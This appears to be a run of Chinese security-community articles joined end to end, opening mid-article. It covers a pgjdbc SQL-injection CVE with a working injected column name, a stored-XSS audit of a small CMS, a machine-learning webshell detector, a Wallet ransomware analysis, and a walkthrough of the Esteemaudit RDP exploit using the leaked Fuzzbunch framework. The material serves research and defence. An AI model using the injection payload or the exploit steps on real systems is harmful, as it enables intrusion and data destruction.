从上面的分析中可以知道，在获取的列名前面加上了`select column1,` 所以我们首先需要闭合前面的，所以payload中的第二列名是`1 from
dbName;`开头，值得注意的是这里使用了分号进行sql语句之间的分割，那么列名中间部分就是我们需要执行的sql语句了，同样的根据上面的分析，我们知道，在列名的后面同样加上了`from
dbName where id = ?`，所以，在payload的最后我们需要闭合后面部分，使用`select *`就能成功闭合
### 利用
1. docker运行postgresql数据库
2. 远程连接，首先创建一个表
CREATE TABLE refresh_row_example3 (
id int PRIMARY KEY,
"1 FROM refresh_row_example3;CREATE TABLE test(id int);SELECT * " int
);
这里我直接创建一个表展示能够成功利用，当然还有更多的利用姿势
3. 随便添加一组数据
1. 运行测试程序
可以发现成功创建test表
环境代码示例上传到了[github](https://github.com/Roboterh/JavaSecCodeEnv/blob/main/src/main/java/com/roboterh/vuln/test/CVE_2022_31197.java)
## 漏洞修复
根据代码对比
<https://github.com/pgjdbc/pgjdbc/commit/739e599d52ad80f8dcd6efedc6157859b1a9d637>
在修复版本中，不在直接将列名写入sql语句中，而是经过了`Utils.escapeIdentifier`的处理
## Ref
<https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-r38f-c4h4-hqq2> | 社区文章 |
审计了一个比较小众的cms，官网提供了两个版本，基础版和ugc投稿版版，后者相对前者提供了用户注册投稿等功能，以下漏洞针对两个版本都存在
#### 网站介绍
SSYCMS内容管理系统采用热门框架，方便开发者二次开发系统，前台采用Bootstrap4.x，后台采用vue2.x、iview3.x。系统使用Thinkphp5.x框架，架构模式为PHP+MYSQL
#### 建站
只需要注意手动创建数据库，其他没什么
#### 漏洞演示
首先登陆后台
在内容->全部内容处添加内容即可，需要注意标题和标签字段可以直接触发，描述和关键词字段需要闭合，内容字段则不能触发
结果如图所示
同样可以触发的还有功能->单个页面处，这里也可以自定义页面的路由，同样标题直接触发，关键词和描述需要闭合
如图所示
同样友情链接处也存在触发点，这里名称网址描述三个字段都可以直接触发
#### 代码审计
以第一处为例
通过路由找到调用方法
POST /index.php?s=/article/ApiAdminArticle/itemAdd HTTP/1.1
public function itemAdd()
{
$data = $this->request->post();
if (!isset($data['title']) || !$data['title']) {
return jsonError('请输入标题');
}
$itemInfo = db($this->item)->where('title',$data['title'])->find();
if ($itemInfo) {
return jsonError('标题已存在');
}
$fieldList = input('post.fieldList');
$fieldList = json_decode($fieldList,true);
$res = model($this->itemModelNameSpace)->itemAdd($data,$fieldList);
if ($res) {
return jsonSuccess('操作成功');
} else {
return jsonError('操作失败');
}
}
通过post方法获取数据，跟踪
public function post($name = '', $default = null, $filter = '')
{
if (empty($this->post)) {
$content = $this->input;
if (empty($_POST) && false !== strpos($this->contentType(), 'application/json')) {
$this->post = (array) json_decode($content, true);
} else {
$this->post = $_POST;
}
}
if (is_array($name)) {
$this->param = [];
$this->mergeParam = false;
return $this->post = array_merge($this->post, $name);
}
return $this->input($this->post, $name, $default, $filter);
}
继续跟踪input
public function input($data = [], $name = '', $default = null, $filter = '')
{
......
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
因为过滤器参数为空，所以直接返回数据
回到itemEAdd方法，除去判断之外，调用模块中的itemEdit方法，其中`$this->itemModelNameSpace`值为`app\article\model\Articles`，继续跟踪
鉴于代码比较长，只贴出关键部分
......
$uuid = uuid();
$imgUrl = $paramData['img_url'] ? $paramData['img_url'] : getImgUrlByContent($paramData['content']);
$paramData['description'] = $paramData['description'] ? $paramData['description'] : mb_substr(str_replace('"','',deleteHtml($paramData['content'])),0,88,'utf-8');
$paramData['keywords'] = $paramData['keywords'] ? $paramData['keywords'] : $paramData['tags'];
$indexId = db($this->item)->insertGetId(array (
'uuid' => $uuid,
'cid' => $paramData['cid'],
'uid' => $paramData['uid'],
'views' => $paramData['views'] ? $paramData['views'] : 0,
'is_recommend' => $paramData['is_recommend'] ? $paramData['is_recommend'] : 0,
'title' => $paramData['title'],
'img_url' => $imgUrl,
'publish_time' => $paramData['publish_time'] ? $paramData['publish_time'] : time(),
'description' => $paramData['description'],
'keywords' => $paramData['keywords'],
));
$content = $paramData['content'];
db($this->itemContent)->insert(array(
'id' => $uuid,
'content' => htmlspecialchars($content),
));
......
可以看到标题等参数没有经过过滤直接放到了数据库中，而内容则经过了过滤放到了另一个表中，所以不能触发
从数据库中能直观的看到这一点
UGC版还提供了用户投稿功能，但并没有出现XSS漏洞，原因也很简单
public function itemAdd()
{
$title = Htmlp::htmlp(input('post.title'));
$content = Htmlp::htmlp(input('post.content'));
$cid = Htmlp::htmlp(input('post.cid'));
$tags = Htmlp::htmlp(input('post.tags'));
$img_url = Htmlp::htmlp(input('post.img_url'));
$description = Htmlp::htmlp(input('post.description'));
$keywords = Htmlp::htmlp(input('post.keywords'));
$cid = $cid ? $cid : 0;
......
}
跟进htmlp方法
class Htmlp
{
static public function htmlp($dirty_html)
{
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
return $purifier->purify($dirty_html);
}
}
调用时利用HTMLPurifier进行了过滤，至于为什么管理员发布的文章没有过滤。。。可能是觉得管理员不会搞破坏？
漏洞危害也不大。。。聊胜于无 | 社区文章 |
作者：WenR0@n0tr00t Security Team
#### 简介
最近刷完了吴恩达（Andrew Ng）的Machine
Learning[课程](https://www.bilibili.com/video/av9912938/)，恰巧实验室有相关的需求，看了几个前辈的机器学习检测PHP
Webshell 的文章，便打算自己也抄起袖子，在实战中求真知。
本文会详细的介绍实现机器学习检测PHP Webshell的思路和过程，一步一步和大家一起完成这个检测的工具，文章末尾会放出已经写好的下载链接。
#### 可能需要的背景知识
* php基础知识（PHP opcode）
* php Webshell
* Python（scikit-learn）
##### 背景知识简单介绍
PHP：世界上最好的编程语言，这个不多说了。
PHP opcode：PHP opcode 是脚本编译后的中间语言，就如同Java 的Bytecode、.NET 的MSL。
PHP Webshell：可以简单的理解为 网页后门。
Python scikit-learn：
（翻译：用起来美滋滋的Python 机器学习包）
#### 可行性分析
PHP Webshell本质上也是一段PHP的代码，在没有深入研究前，也知道PHP Webshell
必然有一些规律，比如执行了某些操作（执行获取到的命令、列出目录文件、上传文件、查看文件等等）。如果直接用PHP
的源代码分析，会出现很多的噪音，比如注释内容、花操作等等。如果我们将PHP Webshell
的源代码转化成仅含执行语句操作的内容，就会一定程度上，过滤掉这些噪音。所以，我们使用PHP opcode 进行分析。
针对opcode这种类型的数据内容，我们可以采用词袋，词频等方法来进行提取关键特征。最后使用分类的算法来进行训练。
根据上面的简单“分析”，知道咱们在大体思路上，是可以行得通的。
#### 实战
##### 第一步：准备环境
要获取到PHP opcode，需要添加一个PHP 的插件 VLD，我们拿Windows环境来进行举例。
插件下载地址：[传送门](http://pecl.php.net/package/vld/0.14.0/windows)
选择对应版本进行下载
下载好后，放入到PHP 安装目录下的ext文件夹内，我使用的是PHPstudy环境，
然后编辑php.ini文件，添加一行内容
extension=php_vld.dll
测试是否安装成功：
测试文件1.php
<?php
echo "Hello World";
?>
执行命令：
php -dvld.active=1 -dvld.execute=0 1.php
如果显示内容是差不多一样的，那我们的环境配置就成功了。
我们需要的就是这段输出中的
ECHO 、RETURN
这样的opcode。
到这里，我们的PHP环境配置基本完成了。
##### 第二步：准备数据
进行机器学习前，我们很关键的一步是要准备数据，样本的数量和质量直接影响到了我们最后的成果。
###### 下载数据
这里需要准备的数据分为两类，【白名单数据】、【黑名单数据】。
白名单数据指我们正常的PHP程序，黑名单数据指的是PHP Webshell程序。数据源还是我们的老朋友 github.com
在github上搜索PHP，可以得到很多的PHP的项目，咱们筛选几个比较知名和常用的。
白名单列表（一小部分）：
* <https://github.com/WordPress/WordPress>
* <https://github.com/typecho/typecho>
* <https://github.com/phpmyadmin/phpmyadmin>
* <https://github.com/laravel/laravel>
* <https://github.com/top-think/framework>
* <https://github.com/symfony/symfony>
* <https://github.com/bcit-ci/CodeIgniter>
* <https://github.com/yiisoft/yii2>
再继续搜索一下 Webshell 关键字，也有很多收集 Webshell 的项目。
黑名单列表（一小部分）：
* <https://github.com/tennc/webshell>
* <https://github.com/ysrc/webshell-sample>
* <https://github.com/xl7dev/WebShell>
###### 创建工程文件夹
创建工程文件夹【MLCheckWebshell】，并在目录下创建【black-list】【white-list】文件夹。用于存放黑名单文件和白名单文件。
###### 提取opcode
我们创建一个utils.py 文件，用来编写提取opcode的工具函数。
工具函数1：
def load_php_opcode(phpfilename):
"""
获取php opcode 信息
:param phpfilename:
:return:
"""
try:
output = subprocess.check_output(['php.exe', '-dvld.active=1', '-dvld.execute=0', phpfilename], stderr=subprocess.STDOUT)
tokens = re.findall(r'\s(\b[A-Z_]+\b)\s', output)
t = " ".join(tokens)
return t
except:
return " "
方法`load_php_opcode` 解读：
用Python 的subprocess 模块来进行执行系统操作，获取其所有输出，并用正则提取opcode，再用空格来连接起来
工具函数2；
def recursion_load_php_file_opcode(dir):
"""
递归获取 php opcde
:param dir: 目录文件
:return:
"""
files_list = []
for root, dirs, files in os.walk(dir):
for filename in files:
if filename.endswith('.php'):
try:
full_path = os.path.join(root, filename)
file_content = load_php_opcode(full_path)
print "[Gen success] {}".format(full_path)
print '--' * 20
files_list.append(file_content)
except:
continue
return files_list
工具方法2 recursion_load_php_file_opcode
的作用是遍历目标文件夹内的所有的PHP文件并生成opcode，最后生成一个列表，并返回。
然后我们在工程目录下，创建train.py文件。
编写 prepare_data() 函数
def prepare_data():
"""
生成需要使用的数据，写入文件后，以供后面应用
:return:
"""
# 生成数据并写入文件
if os.path.exists('white_opcodes.txt') is False:
print '[Info] White opcodes doesnt exists ... generating opcode ..'
white_opcodes_list = recursion_load_php_file_opcode('.\\white-list\\')
with open('white_opcodes.txt', 'w') as f:
for line in white_opcodes_list:
f.write(line + '\n')
else:
print '[Info] White opcodes exists'
if os.path.exists('black_opcodes.txt') is False:
black_opcodes_list = recursion_load_php_file_opcode('.\\black-list\\')
with open('black_opcodes.txt', 'w') as f:
for line in black_opcodes_list:
f.write(line + '\n')
else:
print '[Info] black opcodes exists'
# 使用数据
white_file_list = []
black_file_list = []
with open('black_opcodes.txt', 'r') as f:
for line in f:
black_file_list.append(line.strip('\n'))
with open('white_opcodes.txt', 'r') as f:
for line in f:
white_file_list.append(line.strip('\n'))
len_white_file_list = len(white_file_list)
len_black_file_list = len(black_file_list)
y_white = [0] * len_white_file_list
y_black = [1] * len_black_file_list
X = white_file_list + black_file_list
y = y_white + y_black
print '[Data status] ... ↓'
print '[Data status] X length : {}'.format(len_white_file_list + len_black_file_list)
print '[Data status] White list length : {}'.format(len_white_file_list)
print '[Data status] black list length : {}'.format(len_black_file_list)
# X raw data
# y label
return X, y
prepare_data 做了以下几个事：
* 把黑名单和白名单中的PHP opcode 统一生成并分别写入到两个不同的文件中。
* 如果这两个文件已经存在，那就不再次生成了
* 把白名单中的PHP opcode 贴上 【0】的标签
* 把黑名单中的PHP opcode 贴上 【1】的标签
* 最后返回所有PHP opcode 的集合数据 X（有序）
* 返回所有PHP opcode 的标签 y（有序）
##### 第三步：编写训练函数
终于到了我们的重点节目了，编写训练函数。
在这里先简单的介绍一下[scikit-learn](http://scikit-learn.org/)中我们需要的一些使用起来很简单的对象和方法。
* CountVectorizer
* TfidfTransformer
* train_test_split
* GaussianNB
CountVectorizer 的作用是把一系列文档的集合转化成数值矩阵。
TfidfTransformer 的作用是把数值矩阵规范化为 tf 或 tf-idf 。
train_test_split的作用是“随机”分配训练集和测试集。这里的随机不是每次都随机，在参数确定的时候，每次随机的结果都是相同的。有时，为了增加训练结果的有效性，我们会用到交叉验证（cross
validations）。
GaussianNB ：Scikit-learn 对朴素贝叶斯算法的实现。朴素贝叶斯算法是常用的监督型算法。
先上写好的代码：
def method1():
"""
countVectorizer + TF-IDF 整理数据
朴素贝叶斯算法生成
:return: None
"""
X, y = prepare_data()
cv = CountVectorizer(ngram_range=(3, 3), decode_error="ignore", token_pattern=r'\b\w+\b')
X = cv.fit_transform(X).toarray()
transformer = TfidfTransformer(smooth_idf=False)
X = transformer.fit_transform(X).toarray()
x_train, x_test, y_train, y_test = train_test_split(X, y, test_size=0.4, random_state=0)
gnb = GaussianNB()
gnb.fit(x_train, y_train)
joblib.dump(gnb, 'save/gnb.pkl')
y_pred = gnb.predict(x_test)
print 'Accuracy :{}'.format(metrics.accuracy_score(y_test, y_pred))
print metrics.confusion_matrix(y_test, y_pred)
代码介绍：
首先，我们用了刚才写的prepare_data()函数来获取我们的数据集。然后，创建了一个CountVectorizer
对象，初始化的过程中，我们告诉CountVectorizer对象，ngram的上下限为(3,3)
【ngram_range=(3,3)】，当出现解码错误的时候，直接忽略【decode_error="ignore"】，匹配token的方式是【r"\b\w+\b"】，这样匹配我们之前用空格来隔离每个opcode
的值。
然后我们用 `cv.fit_transform(X).toarray()` 来“格式化”我们的结果，最终是一个矩阵。
接着创建一个TfidfTransformer对象，用同样的方式处理一次我们刚才得到的总数据值。
然后使用`train_test_split`函数来获取打乱的随机的测试集和训练集。这时候，黑名单中的文件和白名单中的文件排列顺序就被随机打乱了，但是X[i]
和 y[i] 的对应关系没有改变，训练集和测试集在总数聚集中分别占比60%和40%。
接下来，创建一个GaussianNB 对象，在Scikit-learn中，已经内置好的算法对象可以直接进行训练，输入内容为训练集的数据（X_train） 和
训练集的标签（y_train）。
gnb.fit(X_train, y_train)
执行完上面这个语句以后，我们就会得到一个已经训练完成的gnb训练对象，我们用测试集(X_test) 去预测得到我们的y_pred 值（预测出来的类型）。
然后我们对比原本的 y_test 和 用训练算法得到的结果 y_pred。
metrics.accuracy_score(y_test, y_pred)
结果即为在此训练集和测试集下的准确率。
约为97.42%
还需要计算混淆矩阵来评估分类的准确性。
metrics.confusion_matrix(y_test, y_pred)
输出结果见上图。
编写训练函数到这里已经初具雏形。并可以拿来简单的使用了。
##### 第四步：持久化&应用
编写完训练函数，现在我们可以拿新的Webshell来挑战一下我们刚才已经训练好的gnb。
但是，如果每次检测之前，都要重新训练一次，那速度就非常的慢了，我们需要持久化我们的训练结果。
在Scikit-learn 中，我们用joblib.dump() 方法来持久化我们的训练结果，细心的读者应该发现，在method1() 中有个被注释掉的语句
joblib.dump(gnb, 'save/gnb.pkl')
这个操作就是把我们训练好的gnb保存到save文件夹内的gnb.pkl文件中。
方面下次使用。
创建check.py
理一下思路：先实例化我们之前保存的内容，然后将新的检测内容放到gnb中进行检测，判断类型并输出。
核心代码：
gnb = joblib.load('save/gnb.pkl')
y_p = gnb.predict(X[-1:])
最后根据标签来判断结果，0 为 正常程序， 1 为 Webshell。
我们来进行一个简单的测试。
那么，一个简单的通过朴素贝叶斯训练算法判断Webshell的小程序就完成了。
#### 下一步？
这个小程序只是一个简单的应用，还有很多的地方可以根据需求去改进
如：
在准备数据时：
1. 生成 opcode过程中，数据量太大无法全部放入内存中时，更换写入文件中的方式。
在编写训练方法时：
1. 更换CountVectorizer的ngram参数，提高准确性。
2. 增加cross validation 来增加可靠性
3. 更换朴素贝叶斯算法为其他的算法，比如MLP、CNN（深度学习算法）等。
4. 在训练后，得到数据与预期不符合时：
重复增量型训练，优化训练结果。
1. 增大训练数据量
2. 如果对PHP opcode 有深入研究的同学可以采用其他的提取特征的方法来进行训练。
3. 选择多种训练方法，看看哪一种的效果最好，而且不会过度拟合（over fitting）。
#### 结语
最后咱们总结一下机器学习在Webshell 检测过程中的思路和操作。
1. 提取特征，准备数据
2. 找到合适的算法，进行训练
3. 检查是否符合心中预期，会不会出现过度拟合等常见的问题。
4. 提供更多更精准的数据，或更换算法。
5. 重复1~4
本人也是小菜鸡，在此分享一下简单的思路和方法。希望能抛砖引玉。
项目下载地址：
<https://github.com/hi-WenR0/MLCheckWebshell>
参考链接：
[基于机器学习的 Webshell 发现技术探索](https://mp.weixin.qq.com/s/1V0xcjH-6V5qJoJILP0pJQ
"基于机器学习的 Webshell 发现技术探索")
* * * | 社区文章 |
# 【技术分享】嘿，你的wallet!
|
##### 译文声明
本文是翻译文章，文章来源：360安全卫士
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
前段时间，Crysis敲诈者的同门——XTBL木马在服务器上的敲诈风波刚刚平息，新的一波Wallet服务器敲诈又再起波澜。Wallet木马最早出现在11月末，虽爆发规模不算大，但是由于是针对服务器的攻击，造成用户的损失着实不可估计。根据360互联网安全中心的分析发现，这次的Wallet虽然也是通过服务器传播，但是入侵者采用了更多样的手法——不再仅仅是对3389端口的简单扫描了，而是更有针对性的对服务器进行系统性攻击。
**样本分析**
****
**0x01 多样的加密方式**
首先，Wallet在加密文件的时候还是采用了SHA1算法。下图是SHA1算法的4轮20次循环——比较有代表性。
图1.SHA1算法
不同的是Wallet不仅使用了RC4——还使用了RC4的变形——用来解密字符串和生成密钥。依然是RC4标准初始化方法，但加密的时的算法却有所异同，整体过程变得更为复杂。
图2.RC4与RC4变形
中间还夹杂了一些简单的异或和移位进行字符串变换，如下：
图3.异或移位
**0x02 加密本地和网络资源**
对网络资源，木马创建了一个单独的线程来枚举网络资源并对网络资源进行加密。
图4.加密网络资源
值得一提的是：Wallet加密网络资源和加密本地资源的时候，采用了相同的密钥。
图5.相同密钥
本地和网络采用的解密手法是一样的，先通过函数解密得到加密文件的后缀、敲诈信息文档等。然后生成密钥块，然后通过创建线程来加密文件。
图6.加密文件
在对文件进行加密的时候，还是保留了以前的同时创建四个线程。来保证加密文件的效率和成功率、从而避免一个线程出现加密文件失败的情况导致程序不能完整的跑起来。
图7.多线程
和XTBL不同的是变种Wallet在循环创建的四个线程下还新增加了一个线程，经过分析该线的主要作用遍历文件夹。遍历文件夹用一个单独的线程来做，提高了效率：
图8.遍历文件夹
**0x03 密钥块的生成**
Wallet增强了密钥的强度，通过两次获取时间来得到随机数，两次得到的随机数分别与423C28处的数据进行异或，然后用SHA1算的其HASH值，并将该HASH值作为RC4的参数来算的加密文件的密钥。采用两次通过获取时间来算取随机数，在本来密钥相同概率极低的情况下变的更加的低了。
图9.获取密钥
密钥块在原本184字节大小上增加了6个字节，在其末尾增加了标识位，邮箱，加密后文件的后缀等的地址。
图10.密钥块
**0x04 其他细节**
1\. 动态获取函数地址
图11.获取函数
2\. 删除卷影副卷
用RC4变形来对字符串进行解密得到cmd.exe的环境变量以及获取到删除卷影副卷的命令。然后通过创建管道来向进程cmd中写入命令来执行。不过大部分人都没有给自己的操作系统做备份习惯。所以感觉删除不删除其实影响不大。
图12.删除卷影副卷
3\. 关闭指定服务和结束指定进程
对通过解密获取到的服务名和进程名进行查找，如果找到就结束进程和关闭服务。
图13.关闭特定服务和进程
4\. 开机启动
用了两种方法来写启动项，但是都是特别直接的方法，第一种是将它直接写在了开启自启动的文件夹下，还有一种方法是写注册表。
**0x05 加密更多类型的文件**
被加密的文件的种类也是琳琅满目的。各种格式都有只有你想不到，没有他做不到。Wallet能加密的文件多达到324中，下图是该敲诈者能加密的文件后缀类型：
图14.被加密文件
**0x06 被加密后的服务器**
文件全部被加密，有的程序都不能正常使用。被加密的文件名被修改成原始文件名加上敲诈者的联系邮箱，后缀全部被修改为.wallet。和写注册表一样来的直接。
被加密后的桌面背景变成蓝色，桌面显示出一个Good morning ，可是大早上的看到这的真的好么？可想而知他们也是半夜偷偷的搞。
**总结**
之前国外公布了一批Crysis和XTBL用于解密的私钥，导致很多被中两类敲诈者加密的文件最终都使用安全厂商提供的工具成功解密了。而此次的Wallet木马却显得更加严防死守，截止到发稿时，还没有任何私钥流出的消息——也就是说，一旦中招就只能老老实实的交付赎金。
这也引发了我们对于服务器安全的深思：从数量上来说，服务器的数量可能没有个人电脑那么多；从木马传播量来看，XTBL家族的传播量也远不及同为敲诈者却主攻个人用户的Cerber家族来的泛滥。但服务器是用于公共服务的互联网技术设施，牵一发而动全身的位置——一旦陷落，损失将无法估量。从XTBL到Wallet，都一次次的给所有的服务器管理员和提供互联网服务的企业管理者敲响了警钟——安全，是互联网稳定运行的根本前提。 | 社区文章 |
作者: **启明星辰ADLab**
### 一、背景
2017年5月12日晚间时候，一款名为“WanaCry”的勒索蠕虫病毒开始肆虐全球，波及上百个国家和成千上万个组织机构，影响深远，关于该蠕虫的详情请见启明星辰ADLab的分析报告《“WanaCry”事件分析与启示：警惕下一个“永恒之蓝”》。该款蠕虫基于“Shadow
Brokers”（影子经纪人）近期泄露的NSA旗下的黑客团队 “Equation
Group”（方程式组织）的漏洞利用工具之一“EternalBlue”（永恒之蓝），被“幸运”的选为蠕虫载体的原因可能是其打击范围涵盖了windows
xp到windows
2012（目前来看，是此次泄露的工具中覆盖最广的）。在上面提及的报告后半部分，我们提到勒索是目的，漏洞是先决条件，下一个能承载该目的的并非只有永恒之蓝。而这次我们的主角便是“Esteemaudit”。相较EternalBlue，Esteemaudit影响范围只包括windows
2003和windows
xp，但是一方面这两个系统目前的用户量仍不在少数，另一方面因为微软早已对2003和xp停止支持（除了5月13日针对此次永恒之蓝的紧急补丁），也就是说该工具利用的漏洞还是个0
day。
本文首先针对该0
day的细节做深入的分析，另外对于安全研究人员来说该批泄露工具中部分利用在使用上以及测试环境搭建上的问题造成了很多触发漏洞不成功的情况，针对Esteemaudit尤其如此，因此我们加入了该部分的详细说明并给出对比测试结论，排除研究该漏洞带来的干扰。
后续，我们会放出该漏洞的检测工具。
### 二、Esteemaudit涉及0day漏洞的分析
##### （1）漏洞描述
Windows
2000以后的版本都支持SmartCard认证机制，SmartCard中包含一个芯片存储用户登录信息，包括私钥和公钥，登录本地计算机时，需要将SmartCard插入本地计算机，并向WINLOGON输入PIN码；登录远程计算机时，在本地计算机插入Smartcard，输入PIN码，远程计算机Winlogon将会对PIN码进行验证，如下图所示。
基于SmartCard认证的RDP协议
其中，gpkcsp.dll模块中的MyCPAcquireContext函数存在漏洞，该模块由winlogon.exe调用。MyCPAcquireContext函数的功能是创建Prov
Context，通过接收SmartCard数据，对Prov Context结构体赋值。如果构造超长的SmartCard数据，在对Prov
Context进行赋值时可能覆盖其他字段，产生溢出。
##### （2）Smart Card协议
根据智能卡协议标准smartcard_standard_ISO7816，发送命令请求的数据包格式定义如下：
command APDU structure
其中，部分字段的意义如下：
* INS：指令码，取值范围如下表：
* Lc：表示数据段的长度。
* Le：表示期望接收命令应答的最大长度。
##### （3）利用工具分析
首先，Esteemaudit利用代码会初始化一些从xml文件和脚本输入中获得的配置信息。
在初始化信息之后，exploit开始构造漏洞利用数据包。
首先构造第一段数据(buffer1)，内容随机，长度为0xb2，并将GlobalBufAddr+4（0x080190dc）的地址赋值给buffer偏移0x8d的位置，将0x9000写入buffer偏移0x91的位置。其中这个GlobalBufAddr来自xml配置文件，是目标机上存在漏洞的模块gpkcsp.dll中一个全局变量的地址，该地址用来存储客户端中读取的data。由于被攻击目标（xp和2003）中不存在ASLR，所以xml可以根据不同的目标机版本硬编码这个地址。
这里漏洞利用代码并不是完美无缺，如果想要成功触发漏洞，这段数据中的第五个字节不能为0x30，否则RDP程序将会进入另一个分支，而作者是通过随机方式来填充第五个字节，也就是说该利用程序可能会有1/256的可能会失败。
第二段数据(buffer2)主要是从一个Exp参数结构体中取出从xml文件中获取的rop链地址。
第三段数据的内容是shellcode，其内容被固定的放在Esteemaudit的数据段中。
之后，Esteemaudit程序会模拟SmartCard和被攻击端进行通讯，通讯的过程中将构造的exploit数据通过数据包发送到被攻击端，和漏洞相关的部分通信代码逻辑如下：
##### （4）漏洞原理分析
被攻击端漏洞发生在gpkcsp.dll的MyCPAcquireContext函数中，要想明确漏洞触发的原因先要理解和漏洞有关的两个buffer，第一个buffer是存在于gpkcsp.dll中的全局变量数组，我们把其命名为_pbRecvBuffer（地址0x080190d8）；第二个buffer是程序分配的用于存放CSP
context的结构体,我们称之为_TAG_Prov_Context（大小为0xB8），其数据结构如下所示。在这该数据结构中比较重要的位置有两个（红色标注的位置），一个是位于偏移0x18处的char数组keyset_name，通过逆向判断其长度不能超过128字节；另一个位于偏移0xa0处的HCRYPTKEY，这个位置稍后会被覆盖并导致程序流程被劫持。
typedef struct _TAG_Prov_Context
{
HProvider _0000;//+0000
SCARDHANDLE hCard;//+0004
DWORD dwCspFlags;//+0008
int _000C;//+000C;//index?
int _0010;
int _0014;
char keyset_name[128];//+0x18//"Gemplus GemSAFE Card CSP Default Container"
char _0098[4];//
HCRYPTKEY _009C;//+9C
HCRYPTKEY _00A0;//+A0//g_buffer+4;//destrokey(_0xA0);
int _00A4;
int _00A8;
int _00AC;
int _00B0;
int _00B4;
}TAG_Prov_Context;//sizeof=0xB8
MyCPAcquireContext在一开始的时候会对HCRYPTKEY置0。
接着，程序读取Esteemaudit发送来的buffer1然后将buffer1的数据拷贝到全局变量_pbRecvBuffer中。
上图中红色的数据是这个全局变量的_pbRecvBuffer
地址+4，蓝色的数据是0x9000，其他数据则是随机生成（之前我们提到过）。随后我们会看到如下的代码，代码首先从_pbRecvBuffer+4的位置（之前提到的第5个字节）读取数据和0x30h比较，如果相等的话就跳转到800e2a4处执行指令（会跳过存在漏洞的代码分支）。如果不相等则向_TAG_Prov_Context+0x18位置也就是keyset_name拷贝数据，被拷贝的数据是从_pbRecvBuffer的第六个字节开始，长度是_pbRecvBuffer的长度0xb2-7（十进制171）。
由于拷贝的时候并没有检查长度的大小是否大于keyset_name数组大小（171>128），从而导致了溢出的产生。
此时，位于_pbRecvBuffer
+0x8d位置的0x080190dc（被复制的第0x88字节）正好能够覆盖_TAG_Prov_Context指针偏移0xA0的位置处的HCRYPTKEY指针（0x8d-5+0x18=0xa）。
接着Esteemaudit发送buffer2，也就是rop的数据，这段数据同样被保存在_pbRecvBuffer中，图中的红框是我们构造的rop链的第一个代码片段地址（pop
ret0c）。
之后，MyCPAcquireContext会调用ReleaseProvider。
在ReleaseProvider中会取出TAG_Prov_Context中偏移a0位置的hkey并调用ADVAPI32!CryptDestroyKey，此时hkey已经被覆盖成了0x080190dc。
在CryptDestroyKey函数会取出hkey（也就是该函数的参数），并执行命令call dword ptr [esi+8]。
这个esi+ 8正好是rop链的第一个代码片段的地址。
### 三、Esteemaudit的利用验证
Esteemaudit利用工具针对windows 2003和windows
xp，利用成功需要被攻击机开启域和远程桌面（默认3389端口）。域(Domain)是Windows网络中独立运行的单位，基于域可进行用户身份统一认证和安全边界集中管理等。
#### （1）环境搭建(以windows 2003为例)
##### 1.域的安装和设置
###### 1.1 DC的安装
要建立和管理域需要域控制器（DC），DC上存储着域中的信息资源如名称、位置和特性描述等。通过在一台服务器上安装活动目录（AD）来实现DC，首先要给DC设置一个静态IP，然后在windows
2003的“运行”中输入dcpromo，打开Active Directory安装向导。创建一个新域，填写DNS域名和NetBIOS域名，如下所示。
之后，一路“下一步”直到“DNS注册诊断”，如下图设置
到此DC成功建立，重启系统
###### 1.2 创建域用户
打开 “开始->管理工具->Active Directory用户和计算机”在创建的域下新建一个用户“adlab-test”如下图。
###### 2.域主机成员的设置
在要加入该域的主机中先开启远程桌面，然后打开“我的电脑->属性¬->计算机名->更改”后在域中填入刚才创建的域名，确定后输入DC的管理员账号密码，在加入域前先设置自己的IP和DNS，把DNS指向DC。
加入域成功后有如下提示：
上述对应测试环境网络拓扑如下：
##### （2）Esteemaudit利用
###### 1.攻击端(以win 10为例)
受限于fuzzbunch，攻击端需安装python2.6和pywin32-py2.6，
在`“…\shadowbroker\windows\”`下执行“fb.py”进行利用框架(Fuzzbanch)初始化设置，如下：
1. 被攻击机器ip
2. 本机ip
3. 日志存储路径
初始设置后使用命令“use
Esteemaudit”对插件进行设置，由于初始设置了目标和监听ip所以基本使用默认设置就可以了。需要注意的是当设置到“Listen IP
[127.0.0.1]：”时这里需要填写的是被攻击机器的IP地址。
在“Press Any Key To Continue
:”提示后，会对被攻击机器做一次扫描，得到系统版本、平台等信息（如下图所示）。需要注意的是当测试不同的系统版本、平台时需要重新运行“fb.py”扫描被攻击机器，或者使用reset命令手动更新被攻击机器信息。
然后，进行再次的确认或设置，如果想修改被攻击机器的相关信息（payload的行为方式、目标机指令构架、目标机系统版本等），可以依据工具提示输入选项号进行修改，如下所示:
最后，需要（手动）设置回连端口和（手动设置或使用默认）NSA工具库文件的绝对路径。例如：“D:\shadowbroker\windows\storage\rudo_x86.dll”，如下图所示其中rudo_x86.dll、capa_x86.dll、lipa_x86.dll分别用作远程注入、回连、监听。
再次确认攻击与被攻击双方的IP和端口（其中Destination IP [0.0.0.0] 项使用默认值不需要手动设置）。
最终需确认配置信息
若攻击成功，会显示如下信息。
攻击成功后被攻击机器会创建新进程回连之前设置的攻击机器端口（5678），如下所示（实际测试环境请关闭防火墙）：
上述通过Esteemaudit的利用流程如下：
###### 2.对比测试
我们以被攻击机器回连成功为标志，进行对比测试受影响系统和利用成功需要的关键触发条件，结果如下
测试结论：以上环境中并未对智能卡进行特别设置，除了域环境与远程桌面其余都是系统默认设置。所以，根据上述实验结果，网上所说的“需要开启智能卡登录”容易引起歧义（此结论也呼应了漏洞分析部分关于SmartCard的全部数据都由Esteemaudit模拟实现）。因此，只要是在域中开启了远程桌面的目标就可以被攻击，与是否是域控制器（DC）无关，与是否登录了域账号无关，与加入域后域控制器（DC）是否存在无关。
###### 3.防御建议
* 关闭远程桌面
* 退出域环境
* 升级操作系统版本
* 开启防火墙，过滤不信任的链接
### 四、总结
安全源自未雨绸缪，提高安全意识，及时止损。启明星辰ADLab会持续关注并研究由此次“永恒之蓝”以及影子经纪人陆续泄露的工具引发的“余震”，最后附上影子经纪人活动时间轴，也许下一次“蓝”不远了。
* * *
**启明星辰积极防御实验室（ADLab）**
